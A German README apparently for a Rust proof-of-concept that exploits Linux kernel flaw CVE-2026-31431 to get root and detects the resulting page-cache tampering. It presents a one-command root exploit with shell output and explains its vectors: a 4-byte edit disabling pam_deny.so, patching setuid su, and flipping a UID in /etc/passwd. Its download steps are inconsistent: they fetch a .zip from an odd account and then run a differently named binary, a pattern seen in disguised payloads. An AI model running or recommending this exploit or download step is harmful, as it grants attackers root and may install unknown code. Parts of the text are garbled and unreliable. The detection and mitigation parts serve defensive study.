
Exploiten und erkennen Sie CVE-2026-31431-Schwachstellen mithilfe einer statischen Binärdatei, die die Systemintegrität überwacht und die PAM-Authentifizierung umgeht.
Multi-Vektor-PoC mit passender Erkennung für CVE-2026-31431 (CopyFail). Enthält einen neuartigen PAM-Auth-Bypass-Vektor, den kein anderer öffentlicher PoC mitliefert. Der Erkennungsmodus erfasst, was AIDE / Wazuh / OSSEC / Tripwire strukturell nicht können.
Einzelnes statisches Binary. ~108 KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Ein Befehl. Root-Shell. PAM-Killshot unter der Haube (ein einzelner 4-Byte-Schreibvorgang in /etc/pam.d/common-auth), PTY-Drop zu Root über sudo mit weggeworfenem Passwort. Die Zeile [sudo] password for noot: erscheint kurz; sudo gibt diese Eingabeaufforderung immer aus; das Binary füttert sie mit einer beliebigen Zeichenkette, und der Fehler von pam_unix kaskadiert über den auskommentierten pam_deny.so zu pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
Das ist das Projekt. Platte sauber, Cache mutiert. Jedes öffentliche FIM ist blind. Dieses Tool nicht.
Vorgefertigte statische Binaries im v0.1.0-Release. Architektur wählen, herunterladen, ausführen.
# x86_64 (die meisten Laptops + Cloud-Server)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Andere Architekturen:
| Architektur | Datei |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Integrität prüfen:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
Statische musl-Binaries, keine Laufzeitabhängigkeiten, läuft auf jedem Linux.
Page-Cache-Mutation. Kein VFS-Write. Keine Dirty Page. Kein inotify-Event. Periodischer Rescan konkurriert mit der Verdrängung.
AIDE/Wazuh/OSSEC/Tripwire/Samhain lesen über gepuffertes I/O → Page-Cache → hashen mutierte Bytes als Wahrheit. Oder nach der Verdrängung den sauberen Datenträger hashen → "nie eine Änderung passiert."
Für die Erkennung sind O_DIRECT (Cache überspringen) + gepuffertes Lesen (Cache treffen) + Hash-Diff erforderlich. Abweichung = CopyFail-Signatur. Das ist --scan.
Automatische Auswahl: --vector auto (Standard). Reiht pam > su > passwd nach Tarnung. Fallback bei Fehler.
--json überall für die SIEM-Aufnahme.
detection/:
sigma/copyfail-af-alg.yml, Sigma-Regel, einfügen in dein SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, bpftrace-Einzeilerapparmor/copyfail-block.profile, AppArmor-3.0+-Verweigerungsregelmitigation/disable-algif.sh, modprobe-Blacklist + =y-Warnungecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Oder Kernel-Mainline a664bf3d603d (April 2026). Stand jetzt: nur Debian Sid/Forky ausgeliefert. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = alle angreifbar.
Achtung: CONFIG_CRYPTO_USER_API_AEAD=y (fest eingebaut) umgeht modprobe stillschweigend. --check warnt.
Nach Exploit + Mitigation bleibt die Cache-Mutation bis zum Neustart bestehen. Die Mitigation blockiert NEUE Exploits, macht vergangene nicht rückgängig.
cargo build --release --target x86_64-unknown-linux-musl
| Ziel | Größe |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. Kein Allokator. Keine Laufzeitabhängigkeiten. Ein einziges statisches Binary.
Vorgefertigte Artefakte und SHA256-Summen sind den GitHub-Releases beigefügt.
Konkrete einseitige Beispiele pro Modus (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt) findest du in docs/usage.md.
Eine ausführlichere, narrative Version dieser README (mehr Kontext, tiefere Darstellung) findest du in BLOG.md.
Siehe docs/threat-model.md.
Nur eigene Hardware. Kein CLI-Gate (Sicherheitstheater). README + LICENSE = der Rahmen.
Der Erkennungsmodus ist schreibgeschützt. Sicher für die Produktion.
Der Exploit-Modus mutiert den Kernel-Page-Cache. Nur RAM, aber als destruktiv behandeln. Blockiert die Authentifizierung für jeden nachfolgenden Aufrufer.
CVE-2026-31431 wurde von Theori / Xint am 2026-04-29 veröffentlicht (Write-up, Xint-Blog). Bisherige öffentliche PoCs:
Dieses Projekt (copyfail-rs): fügt den PAM-Auth-Bypass-Vektor, die Erkennung mit zwei Modi und IR-Artefakte hinzu.
MIT.
a664bf3d603d72548b093ee3 (4.14, Aug. 2017)| Vektor | Ziel | Wirkort |
|---|
pam (NEU) | /etc/pam.d/common-auth (Debian/Ubuntu) oder system-auth (Fedora/RHEL/Arch) | 4 Bytes. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo mit beliebigem Passwort = Root. |
su | /usr/bin/su | Text des setuid-Binaries mutieren. execve → root. |
passwd | /etc/passwd | UID-Flip → Benutzer wird beim nächsten Login Root. Bricht SSH für diesen Benutzer. |
| Modus | Beschreibung |
|---|
--check | Kernel + Modul + CONFIG_CRYPTO_USER_API_AEAD + Mitigationsstatus. Ergebnis: angreifbar / mitigiert / sicher. |
--scan | O_DIRECT- vs. gepufferter-Lese-Diff bei kritischen Dateien. statfs()-verzweigt: ext4/xfs/btrfs nutzen O_DIRECT, overlayfs fällt zurück, tmpfs übersprungen. |
--baseline / --diff | Snapshot des bekannten sauberen Zustands. Diff später. Nur-Cache-Deltas = der CopyFail-Fingerabdruck. |
--watch | Daemon. Periodischer Scan. SIGTERM sauber. |
--hunt | SSH-Flotten-Sweep. JSON-Aggregate. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Vektoren | su | su + passwd | su | su + passwd + PAM (neuartig) |
| Erkennung | keine | keine | keine | vollständiger --mode detect |
| IR-Artefakte | keine | keine | keine | Sigma + auditd + eBPF + AppArmor |
| Operator-UX | 3 Befehle | 4 Befehle | 5 Befehle | 1 Befehl |
| Binary | benötigt Python | ~10 KB | ~5 MB | ~108 KB statisch |